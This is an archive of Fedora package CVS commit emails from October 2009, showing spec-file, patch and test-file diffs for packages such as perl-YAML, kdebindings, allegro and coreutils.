-++GenericName[x-test]=xxSnake Duel Gamexx
++GenericName=Snake Duel Game
++GenericName[de]=Schlangenduell-Spiel
++GenericName[fr]=Jeu de duel de serpents
++GenericName[it]=Gioco di duello di serpenti
++GenericName[x-test]=xxSnake Duel Gamexx
  Terminal=false
 -Name=KTron
 -Name[af]=Ktron



From mmaslano at fedoraproject.org  Wed Oct  7 07:52:38 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 07:52:38 +0000 (UTC)
Subject: rpms/perl-YAML-Syck/devel perl-YAML-Syck.spec,1.18,1.19
Message-ID: <20091007075238.329E411C00E6@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-YAML-Syck/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18806

Modified Files:
	perl-YAML-Syck.spec 
Log Message:
* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.07-2
- fix license



Index: perl-YAML-Syck.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-YAML-Syck/devel/perl-YAML-Syck.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- perl-YAML-Syck.spec	27 Sep 2009 04:33:46 -0000	1.18
+++ perl-YAML-Syck.spec	7 Oct 2009 07:52:37 -0000	1.19
@@ -1,8 +1,8 @@
 Name:           perl-YAML-Syck
 Version:        1.07 
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Fast, lightweight YAML loader and dumper
-License:        MIT
+License:        BSD and MIT
 Group:          Development/Libraries
 URL:            http://search.cpan.org/dist/YAML-Syck/
 Source0:        http://search.cpan.org/CPAN/authors/id/A/AU/AUDREYT/YAML-Syck-%{version}.tar.gz
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.07-2
+- fix license
+
 * Sun Sep 27 2009 Chris Weyl <cweyl at alumni.drew.edu> 1.07-1
 - auto-update to 1.07 (by cpan-spec-update 0.01)
 



From than at fedoraproject.org  Wed Oct  7 07:53:31 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 07:53:31 +0000 (UTC)
Subject: rpms/kdebindings/devel kdebindings.spec,1.244,1.245
Message-ID: <20091007075331.8CEB711C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdebindings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19032

Modified Files:
	kdebindings.spec 
Log Message:
fix bz#527464




Index: kdebindings.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/devel/kdebindings.spec,v
retrieving revision 1.244
retrieving revision 1.245
diff -u -p -r1.244 -r1.245
--- kdebindings.spec	5 Oct 2009 10:46:45 -0000	1.244
+++ kdebindings.spec	7 Oct 2009 07:53:31 -0000	1.245
@@ -331,6 +331,9 @@ mv %{buildroot}%{python_sitearch}/PyQt4/
 ln -s %{_bindir}/pykdeuic4 \
       %{buildroot}%{python_sitearch}/PyQt4/uic/pykdeuic4.py
 
+# install pykde4 examples under correct dir
+rm -f %{buildroot}%{_kde4_appsdir}/pykde4/examples/*.py?
+mv %{buildroot}%{_kde4_appsdir}/pykde4 %{buildroot}%{_docdir}/
 
 %clean
 rm -rf %{buildroot}
@@ -368,7 +371,7 @@ fi
 %doc COPYING
 %{python_sitearch}/PyKDE4/
 %{python_sitearch}/PyQt4/uic/widget-plugins/kde4.py*
-%dir %{_kde4_appsdir}/pykde4/
+%dir %{_docdir}/pykde4
 %{_kde4_libdir}/kde4/kpythonpluginfactory.so
 
 %if 0%{?pykde4_akonadi}
@@ -382,7 +385,7 @@ fi
 %defattr(-,root,root,-)
 %{_kde4_bindir}/pykdeuic4
 %{python_sitearch}/PyQt4/uic/pykdeuic4.py*
-%{_kde4_appsdir}/pykde4/examples/
+%{_docdir}/pykde4/examples/
 %{_kde4_datadir}/sip/PyKDE4/
 
 %if 0%{?csharp}
@@ -526,8 +529,9 @@ fi
 
 
 %changelog
-* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
+- fix bz#527464
 
 * Fri Sep 25 2009 Than Ngo <than at redhat.com> - 4.3.1-4
 - rhel cleanup



From jnovy at fedoraproject.org  Wed Oct  7 08:05:34 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed,  7 Oct 2009 08:05:34 +0000 (UTC)
Subject: rpms/allegro/F-11 allegro-4.2.2-fullscreen-viewport.patch, NONE,
	1.1 .cvsignore, 1.6, 1.7 allegro.spec, 1.54, 1.55 sources, 1.6,
	1.7 allegro-4.2.2-gcc43-asm.patch, 1.1,
	NONE allegro-4.2.2-gcc43.patch, 1.1,
	NONE allegro-4.2.2-pulseaudio.patch, 1.1, NONE
Message-ID: <20091007080534.943CA11C00E6@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/allegro/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22410

Modified Files:
	.cvsignore allegro.spec sources 
Added Files:
	allegro-4.2.2-fullscreen-viewport.patch 
Removed Files:
	allegro-4.2.2-gcc43-asm.patch allegro-4.2.2-gcc43.patch 
	allegro-4.2.2-pulseaudio.patch 
Log Message:
* Wed Oct  7 2009 Jindrich Novy <jnovy at redhat.com> 4.2.3-1
- update to 4.2.3
- Fix (workaround) viewport issues in fullscreen mode (#522116)


allegro-4.2.2-fullscreen-viewport.patch:
 xwin.c |    7 +++++++
 1 file changed, 7 insertions(+)

--- NEW FILE allegro-4.2.2-fullscreen-viewport.patch ---
--- allegro-4.2.2/src/x/xwin.c	2009-09-10 22:29:53.000000000 +0200
+++ allegro-4.2.2.new/src/x/xwin.c	2009-09-10 21:48:21.000000000 +0200
@@ -2853,6 +2853,13 @@
       }
    }
       
+   /* Warp the pointer to the upper left corner (where our fs_window is),
+      this is necessary as the: XF86VidModeSetViewPort() call below does
+      not seem to do anything on newer Xorg servers, instead the viewport
+      seems to always be centered at the last mouse cursor position. */
+   XWarpPointer(_xwin.display, None, XDefaultRootWindow(_xwin.display),
+                0, 0, 0, 0, 0, 0);
+
    /* Switch video mode.  */
    if ((_xwin.modesinfo[i] == _xwin.orig_modeinfo) ||
        !XF86VidModeSwitchToMode(_xwin.display, _xwin.screen,


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	22 Aug 2007 08:08:31 -0000	1.6
+++ .cvsignore	7 Oct 2009 08:05:32 -0000	1.7
@@ -1 +1 @@
-allegro-4.2.2.tar.gz
+allegro-4.2.3.tar.gz


Index: allegro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/F-11/allegro.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- allegro.spec	24 Feb 2009 00:37:05 -0000	1.54
+++ allegro.spec	7 Oct 2009 08:05:33 -0000	1.55
@@ -1,6 +1,6 @@
 Name:           allegro
-Version:        4.2.2
-Release:        12%{?dist}
+Version:        4.2.3
+Release:        1%{?dist}
 
 Summary:        A game programming library
 Summary(es):    Una libreria de programacion de juegos
@@ -18,9 +18,7 @@ Patch3:         allegro-4.2.0-noexecstac
 Patch4:         allegro-4.2.0-multilib.patch
 Patch5:         allegro-4.2.1-noexecmod.patch
 Patch6:         allegro-4.0.3-libdir.patch
-Patch7:         allegro-4.2.2-pulseaudio.patch
-Patch8:         allegro-4.2.2-gcc43.patch
-Patch9:         allegro-4.2.2-gcc43-asm.patch
+Patch7:         allegro-4.2.2-fullscreen-viewport.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  esound-devel, texinfo, perl, arts-devel, glib2-devel
 BuildRequires:  xorg-x11-proto-devel, libX11-devel, libXext-devel, libXt-devel
@@ -163,9 +161,7 @@ sound through JACK (Jack Audio Connectio
 %patch4 -p1 -z .multilib
 %patch5 -p1 -z .noexecmod
 %patch6 -p1 -z .multilib2
-%patch7 -p1 -z .pulse
-%patch8 -p1 -z .gcc43
-%patch9 -p1 -z .gcc43-asm
+%patch7 -p1 -z .fs-viewport
 iconv -f iso-8859-1 -t utf-8 docs/src/allegro._tx > docs/src/allegro._tx.tmp
 mv docs/src/allegro._tx.tmp docs/src/allegro._tx
 
@@ -294,6 +290,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Jindrich Novy <jnovy at redhat.com> 4.2.3-1
+- update to 4.2.3
+- Fix (workaround) viewport issues in fullscreen mode (#522116)
+
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.2.2-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	22 Aug 2007 08:08:31 -0000	1.6
+++ sources	7 Oct 2009 08:05:33 -0000	1.7
@@ -1 +1 @@
-87ffb1def034e0ec29a9ad4a595cda7e  allegro-4.2.2.tar.gz
+36d3e75052da03645039f7da407efca4  allegro-4.2.3.tar.gz


--- allegro-4.2.2-gcc43-asm.patch DELETED ---


--- allegro-4.2.2-gcc43.patch DELETED ---


--- allegro-4.2.2-pulseaudio.patch DELETED ---



From yaneti at fedoraproject.org  Wed Oct  7 08:06:46 2009
From: yaneti at fedoraproject.org (Yanko Kaneti)
Date: Wed,  7 Oct 2009 08:06:46 +0000 (UTC)
Subject: rpms/perl-POE-Component-Server-Bayeux/devel .cvsignore, 1.2,
	1.3 perl-POE-Component-Server-Bayeux.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091007080646.23FD211C00E6@cvs1.fedora.phx.redhat.com>

Author: yaneti

Update of /cvs/pkgs/rpms/perl-POE-Component-Server-Bayeux/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23169

Modified Files:
	.cvsignore perl-POE-Component-Server-Bayeux.spec sources 
Log Message:
0.03-1
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Server-Bayeux/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Jul 2009 05:12:41 -0000	1.2
+++ .cvsignore	7 Oct 2009 08:06:45 -0000	1.3
@@ -1 +1 @@
-POE-Component-Server-Bayeux-0.02.tar.gz
+POE-Component-Server-Bayeux-0.03.tar.gz


Index: perl-POE-Component-Server-Bayeux.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Server-Bayeux/devel/perl-POE-Component-Server-Bayeux.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-POE-Component-Server-Bayeux.spec	26 Jul 2009 13:59:33 -0000	1.2
+++ perl-POE-Component-Server-Bayeux.spec	7 Oct 2009 08:06:46 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           perl-POE-Component-Server-Bayeux
-Version:        0.02
-Release:        2%{?dist}
+Version:        0.03
+Release:        1%{?dist}
 Summary:        Bayeux/cometd server implementation in POE
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -63,6 +63,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Wed Oct  7 2009 Yanko Kaneti <yaneti at declera.com> - 0.03-1
+- New upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.02-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Server-Bayeux/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Jul 2009 05:12:41 -0000	1.2
+++ sources	7 Oct 2009 08:06:46 -0000	1.3
@@ -1 +1 @@
-dd18ab3f61f390fbc96a8dc8a15aa447  POE-Component-Server-Bayeux-0.02.tar.gz
+6ccc6b158e4b0f57cf46252fac5341a9  POE-Component-Server-Bayeux-0.03.tar.gz



From mmaslano at fedoraproject.org  Wed Oct  7 08:10:46 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 08:10:46 +0000 (UTC)
Subject: rpms/perl-YAML/devel perl-YAML.spec,1.24,1.25
Message-ID: <20091007081046.F1AE011C02A3@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-YAML/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24862

Modified Files:
	perl-YAML.spec 
Log Message:
* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.70-2
- rebuild for push



Index: perl-YAML.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-YAML/devel/perl-YAML.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- perl-YAML.spec	6 Oct 2009 10:08:04 -0000	1.24
+++ perl-YAML.spec	7 Oct 2009 08:10:44 -0000	1.25
@@ -1,6 +1,6 @@
 Name:           perl-YAML
 Version:        0.70
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        YAML Ain't Markup Language (tm)
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/YAML*.3*
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.70-2
+- rebuild for push
+
 * Tue Oct 6  2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.70-1
 - new upstream version
 



From ovasik at fedoraproject.org  Wed Oct  7 08:11:45 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Wed,  7 Oct 2009 08:11:45 +0000 (UTC)
Subject: rpms/coreutils/devel coreutils-i18n.patch, 1.40,
	1.41 coreutils-pam.patch, 1.18, 1.19 coreutils-selinux.patch,
	1.61, 1.62 coreutils.spec, 1.283, 1.284
Message-ID: <20091007081145.2197011C00E6@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/coreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25318

Modified Files:
	coreutils-i18n.patch coreutils-pam.patch 
	coreutils-selinux.patch coreutils.spec 
Log Message:
defuzz patches

coreutils-i18n.patch:
 lib/linebuffer.h         |    8 
 lib/linebuffer.h.orig    |   53 
 src/cut.c                |  420 +++++
 src/cut.c.orig           |  893 +++++++++++
 src/expand.c             |  160 ++
 src/expand.c.orig        |  430 +++++
 src/fold.c               |  309 +++
 src/fold.c.orig          |  314 +++
 src/join.c               |  343 +++-
 src/join.c.orig          | 1360 +++++++++++++++++
 src/pr.c                 |  431 ++++-
 src/pr.c.orig            | 2877 ++++++++++++++++++++++++++++++++++++
 src/sort.c               |  673 ++++++++
 src/sort.c.orig          | 3697 +++++++++++++++++++++++++++++++++++++++++++++++
 src/unexpand.c           |  226 ++
 src/unexpand.c.orig      |  532 ++++++
 src/uniq.c               |  259 +++
 src/uniq.c.orig          |  565 +++++++
 tests/Makefile.am        |    5 
 tests/Makefile.am.orig   |  616 +++++++
 tests/misc/cut           |    4 
 tests/misc/mb1.I         |    4 
 tests/misc/mb1.X         |    4 
 tests/misc/mb2.I         |    4 
 tests/misc/mb2.X         |    4 
 tests/misc/sort-mb-tests |   58 
 26 files changed, 14072 insertions(+), 177 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.40 -r 1.41 coreutils-i18n.patchIndex: coreutils-i18n.patch
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-i18n.patch,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- coreutils-i18n.patch	6 Oct 2009 13:43:24 -0000	1.40
+++ coreutils-i18n.patch	7 Oct 2009 08:11:44 -0000	1.41
@@ -1,140 +1,7 @@
-diff -urN coreutils-6.12-orig/tests/misc/cut coreutils-6.12/tests/misc/cut
---- coreutils-6.12-orig/tests/misc/cut	2008-05-17 08:41:11.000000000 +0200
-+++ coreutils-6.12/tests/misc/cut	2008-06-02 11:13:08.000000000 +0200
-@@ -26,7 +26,7 @@
- my $prog = 'cut';
- my $try = "Try \`$prog --help' for more information.\n";
- my $from_1 = "$prog: fields and positions are numbered from 1\n$try";
--my $inval = "$prog: invalid byte or field list\n$try";
-+my $inval = "$prog: invalid byte, character or field list\n$try";
- my $no_endpoint = "$prog: invalid range with no endpoint: -\n$try";
- 
- my @Tests =
-@@ -140,8 +140,8 @@
-   ['od-overlap5', '-b1-3,1-4', '--output-d=:', {IN=>"abcde\n"}, {OUT=>"abcd\n"}],
- 
-   # None of the following invalid ranges provoked an error up to coreutils-6.9.
--  ['inval1', qw(-f 2-0), {IN=>''}, {OUT=>''}, {EXIT=>1},
--   {ERR=>"$prog: invalid decreasing range\n$try"}],
-+  ['inval1', qw(-f 2-0), {IN=>''}, {OUT=>''}, {EXIT=>1},
-+   {ERR=>"$prog: invalid byte, character or field list\n$try"}],
-   ['inval2', qw(-f -), {IN=>''}, {OUT=>''}, {EXIT=>1}, {ERR=>$no_endpoint}],
-   ['inval3', '-f', '4,-', {IN=>''}, {OUT=>''}, {EXIT=>1}, {ERR=>$no_endpoint}],
-   ['inval4', '-f', '1-2,-', {IN=>''}, {OUT=>''}, {EXIT=>1}, {ERR=>$no_endpoint}],
---- /dev/null	2007-03-01 09:16:39.219409909 +0000
-+++ coreutils-6.8+/tests/misc/sort-mb-tests	2007-03-01 15:08:24.000000000 +0000
-@@ -0,0 +1,58 @@
-+#! /bin/sh
-+case $# in
-+  0) xx='../src/sort';;
-+  *) xx="$1";;
-+esac
-+test "$VERBOSE" && echo=echo || echo=:
-+$echo testing program: $xx
-+errors=0
-+test "$srcdir" || srcdir=.
-+test "$VERBOSE" && $xx --version 2> /dev/null
-+
-+export LC_ALL=en_US.UTF-8
-+locale -k LC_CTYPE 2>&1 | grep -q charmap.*UTF-8 || exit 77
-+errors=0
-+
-+$xx -t ? -k2 -n misc/mb1.I > misc/mb1.O
-+code=$?
-+if test $code != 0; then
-+  $echo "Test mb1 failed: $xx return code $code differs from expected value 0" 1>&2
-+  errors=`expr $errors + 1`
-+else
-+  cmp misc/mb1.O $srcdir/misc/mb1.X > /dev/null 2>&1
-+  case $? in
-+    0) if test "$VERBOSE"; then $echo "passed mb1"; fi;;
-+    1) $echo "Test mb1 failed: files misc/mb1.O and $srcdir/misc/mb1.X differ" 1>&2
-+       (diff -c misc/mb1.O $srcdir/misc/mb1.X) 2> /dev/null
-+       errors=`expr $errors + 1`;;
-+    2) $echo "Test mb1 may have failed." 1>&2
-+       $echo The command "cmp misc/mb1.O $srcdir/misc/mb1.X" failed. 1>&2
-+       errors=`expr $errors + 1`;;
-+  esac
-+fi
-+
-+$xx -t ? -k4 -n misc/mb2.I > misc/mb2.O
-+code=$?
-+if test $code != 0; then
-+  $echo "Test mb2 failed: $xx return code $code differs from expected value 0" 1>&2
-+  errors=`expr $errors + 1`
-+else
-+  cmp misc/mb2.O $srcdir/misc/mb2.X > /dev/null 2>&1
-+  case $? in
-+    0) if test "$VERBOSE"; then $echo "passed mb2"; fi;;
-+    1) $echo "Test mb2 failed: files misc/mb2.O and $srcdir/misc/mb2.X differ" 1>&2
-+       (diff -c misc/mb2.O $srcdir/misc/mb2.X) 2> /dev/null
-+       errors=`expr $errors + 1`;;
-+    2) $echo "Test mb2 may have failed." 1>&2
-+       $echo The command "cmp misc/mb2.O $srcdir/misc/mb2.X" failed. 1>&2
-+       errors=`expr $errors + 1`;;
-+  esac
-+fi
-+
-+if test $errors = 0; then
-+  $echo Passed all 113 tests. 1>&2
-+else
-+  $echo Failed $errors tests. 1>&2
-+fi
-+test $errors = 0 || errors=1
-+exit $errors
---- /dev/null	2007-03-01 09:16:39.219409909 +0000
-+++ coreutils-6.8+/tests/misc/mb2.I	2007-03-01 15:08:24.000000000 +0000
-@@ -0,0 +1,4 @@
-+Apple???10??20
-+Banana???5??30
-+Citrus???20??5
-+Cherry???30??10
---- /dev/null	2007-03-01 09:16:39.219409909 +0000
-+++ coreutils-6.8+/tests/misc/mb2.X	2007-03-01 15:08:24.000000000 +0000
-@@ -0,0 +1,4 @@
-+Citrus???20??5
-+Cherry???30??10
-+Apple???10??20
-+Banana???5??30
---- /dev/null	2007-03-01 09:16:39.219409909 +0000
-+++ coreutils-6.8+/tests/misc/mb1.I	2007-03-01 15:08:24.000000000 +0000
-@@ -0,0 +1,4 @@
-+Apple?10
-+Banana?5
-+Citrus?20
-+Cherry?30
---- /dev/null	2007-03-01 09:16:39.219409909 +0000
-+++ coreutils-6.8+/tests/misc/mb1.X	2007-03-01 15:08:24.000000000 +0000
-@@ -0,0 +1,4 @@
-+Banana?5
-+Apple?10
-+Citrus?20
-+Cherry?30
-diff -urN coreutils-6.12-orig/tests/Makefile.am coreutils-6.12/tests/Makefile.am
---- coreutils-6.12-orig/tests/Makefile.am	2008-05-27 13:47:53.000000000 +0200
-+++ coreutils-6.12/tests/Makefile.am	2008-06-02 10:06:03.000000000 +0200
-@@ -192,6 +192,7 @@
-   misc/sort-compress				\
-   misc/sort-continue				\
-   misc/sort-files0-from				\
-+  misc/sort-mb-tests				\
-   misc/sort-merge				\
-   misc/sort-merge-fdlimit			\
-   misc/sort-rand				\
-@@ -391,6 +392,10 @@
-   $(root_tests)
- 
- pr_data =					\
-+  misc/mb1.X			\
-+  misc/mb1.I			\
-+  misc/mb2.X			\
-+  misc/mb2.I			\
-   pr/0F						\
-   pr/0FF					\
-   pr/0FFnt					\
---- coreutils-6.8+/lib/linebuffer.h.i18n	2005-05-14 07:44:24.000000000 +0100
-+++ coreutils-6.8+/lib/linebuffer.h	2007-03-01 15:08:24.000000000 +0000
-@@ -22,6 +22,11 @@
+diff -urNp coreutils-8.0-orig/lib/linebuffer.h coreutils-8.0/lib/linebuffer.h
+--- coreutils-8.0-orig/lib/linebuffer.h	2009-10-06 10:59:48.000000000 +0200
++++ coreutils-8.0/lib/linebuffer.h	2009-10-07 10:07:16.000000000 +0200
+@@ -21,6 +21,11 @@
  
  # include <stdio.h>
  
@@ -146,7 +13,7 @@ diff -urN coreutils-6.12-orig/tests/Make
  /* A `struct linebuffer' holds a line of text. */
  
  struct linebuffer
-@@ -29,6 +34,9 @@
+@@ -28,6 +33,9 @@ struct linebuffer
    size_t size;			/* Allocated. */
    size_t length;		/* Used. */
    char *buffer;
@@ -156,26 +23,86 @@ diff -urN coreutils-6.12-orig/tests/Make
  };
  
  /* Initialize linebuffer LINEBUFFER for use. */
---- coreutils-6.8+/src/expand.c.i18n	2007-01-14 15:41:28.000000000 +0000
-+++ coreutils-6.8+/src/expand.c	2007-03-01 15:08:24.000000000 +0000
-@@ -38,11 +38,28 @@
- #include <stdio.h>
+diff -urNp coreutils-8.0-orig/lib/linebuffer.h.orig coreutils-8.0/lib/linebuffer.h.orig
+--- coreutils-8.0-orig/lib/linebuffer.h.orig	1970-01-01 01:00:00.000000000 +0100
++++ coreutils-8.0/lib/linebuffer.h.orig	2009-10-06 10:59:48.000000000 +0200
+@@ -0,0 +1,53 @@
++/* linebuffer.h -- declarations for reading arbitrarily long lines
++
++   Copyright (C) 1986, 1991, 1998, 1999, 2002, 2003, 2007 Free Software
++   Foundation, Inc.
++
++   This program is free software: you can redistribute it and/or modify
++   it under the terms of the GNU General Public License as published by
++   the Free Software Foundation; either version 3 of the License, or
++   (at your option) any later version.
++
++   This program is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++   GNU General Public License for more details.
++
++   You should have received a copy of the GNU General Public License
++   along with this program.  If not, see <http://www.gnu.org/licenses/>.  */
++
++#if !defined LINEBUFFER_H
++# define LINEBUFFER_H
++
++# include <stdio.h>
++
++/* A `struct linebuffer' holds a line of text. */
++
++struct linebuffer
[...18084 lines suppressed...]
-+              if(MB_CUR_MAX > 1)
-+                {
-+                  mbstate_t state;
+   # None of the following invalid ranges provoked an error up to coreutils-6.9.
+   ['inval1', qw(-f 2-0), {IN=>''}, {OUT=>''}, {EXIT=>1},
+-   {ERR=>"$prog: invalid decreasing range\n$try"}],
++   {ERR=>"$prog: invalid byte, character or field list\n$try"}],
+   ['inval2', qw(-f -), {IN=>''}, {OUT=>''}, {EXIT=>1}, {ERR=>$no_endpoint}],
+   ['inval3', '-f', '4,-', {IN=>''}, {OUT=>''}, {EXIT=>1}, {ERR=>$no_endpoint}],
+   ['inval4', '-f', '1-2,-', {IN=>''}, {OUT=>''}, {EXIT=>1}, {ERR=>$no_endpoint}],
+diff -urNp coreutils-8.0-orig/tests/misc/mb1.I coreutils-8.0/tests/misc/mb1.I
+--- coreutils-8.0-orig/tests/misc/mb1.I	1970-01-01 01:00:00.000000000 +0100
++++ coreutils-8.0/tests/misc/mb1.I	2009-10-07 10:07:16.000000000 +0200
+@@ -0,0 +1,4 @@
++Apple?10
++Banana?5
++Citrus?20
++Cherry?30
+diff -urNp coreutils-8.0-orig/tests/misc/mb1.X coreutils-8.0/tests/misc/mb1.X
+--- coreutils-8.0-orig/tests/misc/mb1.X	1970-01-01 01:00:00.000000000 +0100
++++ coreutils-8.0/tests/misc/mb1.X	2009-10-07 10:07:16.000000000 +0200
+@@ -0,0 +1,4 @@
++Banana?5
++Apple?10
++Citrus?20
++Cherry?30
+diff -urNp coreutils-8.0-orig/tests/misc/mb2.I coreutils-8.0/tests/misc/mb2.I
+--- coreutils-8.0-orig/tests/misc/mb2.I	1970-01-01 01:00:00.000000000 +0100
++++ coreutils-8.0/tests/misc/mb2.I	2009-10-07 10:07:16.000000000 +0200
+@@ -0,0 +1,4 @@
++Apple???10??20
++Banana???5??30
++Citrus???20??5
++Cherry???30??10
+diff -urNp coreutils-8.0-orig/tests/misc/mb2.X coreutils-8.0/tests/misc/mb2.X
+--- coreutils-8.0-orig/tests/misc/mb2.X	1970-01-01 01:00:00.000000000 +0100
++++ coreutils-8.0/tests/misc/mb2.X	2009-10-07 10:07:16.000000000 +0200
+@@ -0,0 +1,4 @@
++Citrus???20??5
++Cherry???30??10
++Apple???10??20
++Banana???5??30
+diff -urNp coreutils-8.0-orig/tests/misc/sort-mb-tests coreutils-8.0/tests/misc/sort-mb-tests
+--- coreutils-8.0-orig/tests/misc/sort-mb-tests	1970-01-01 01:00:00.000000000 +0100
++++ coreutils-8.0/tests/misc/sort-mb-tests	2009-10-07 10:07:16.000000000 +0200
+@@ -0,0 +1,58 @@
++#! /bin/sh
++case $# in
++  0) xx='../src/sort';;
++  *) xx="$1";;
++esac
++test "$VERBOSE" && echo=echo || echo=:
++$echo testing program: $xx
++errors=0
++test "$srcdir" || srcdir=.
++test "$VERBOSE" && $xx --version 2> /dev/null
 +
-+                  memset (&state, '\0', sizeof(mbstate_t));
-+                  delimlen = mbrtowc (&wcdelim, optarg, strnlen(optarg, MB_LEN_MAX), &state);
++export LC_ALL=en_US.UTF-8
++locale -k LC_CTYPE 2>&1 | grep -q charmap.*UTF-8 || exit 77
++errors=0
 +
-+                  if (delimlen == (size_t)-1 || delimlen == (size_t)-2)
-+                    ++force_singlebyte_mode;
-+                  else
-+                    {
-+                      delimlen = (delimlen < 1) ? 1 : delimlen;
-+                      if (wcdelim != L'\0' && *(optarg + delimlen) != '\0')
-+                        FATAL_ERROR (_("the delimiter must be a single character"));
-+                      memcpy (mbdelim, optarg, delimlen);
-+                    }
-+                }
++$xx -t ? -k2 -n misc/mb1.I > misc/mb1.O
++code=$?
++if test $code != 0; then
++  $echo "Test mb1 failed: $xx return code $code differs from expected value 0" 1>&2
++  errors=`expr $errors + 1`
++else
++  cmp misc/mb1.O $srcdir/misc/mb1.X > /dev/null 2>&1
++  case $? in
++    0) if test "$VERBOSE"; then $echo "passed mb1"; fi;;
++    1) $echo "Test mb1 failed: files misc/mb1.O and $srcdir/misc/mb1.X differ" 1>&2
++       (diff -c misc/mb1.O $srcdir/misc/mb1.X) 2> /dev/null
++       errors=`expr $errors + 1`;;
++    2) $echo "Test mb1 may have failed." 1>&2
++       $echo The command "cmp misc/mb1.O $srcdir/misc/mb1.X" failed. 1>&2
++       errors=`expr $errors + 1`;;
++  esac
++fi
 +
-+              if (MB_CUR_MAX <= 1 || force_singlebyte_mode)
-+#endif
-+                {
-+                  if (optarg[0] != '\0' && optarg[1] != '\0')
-+                    FATAL_ERROR (_("the delimiter must be a single character"));
-+                  delim = (unsigned char) optarg[0];
-+                }
-+            delim_specified = true;
-+          }
-           break;
- 
-         case OUTPUT_DELIMITER_OPTION:
-@@ -805,6 +1157,7 @@
-           break;
- 
-         case 'n':
-+          byte_mode_character_aware = 1;
-           break;
- 
-         case 's':
-@@ -827,7 +1180,7 @@
-   if (operating_mode == undefined_mode)
-     FATAL_ERROR (_("you must specify a list of bytes, characters, or fields"));
- 
--  if (delim != '\0' && operating_mode != field_mode)
-+  if (delim_specified && operating_mode != field_mode)
-     FATAL_ERROR (_("an input delimiter may be specified only\
-  when operating on fields"));
- 
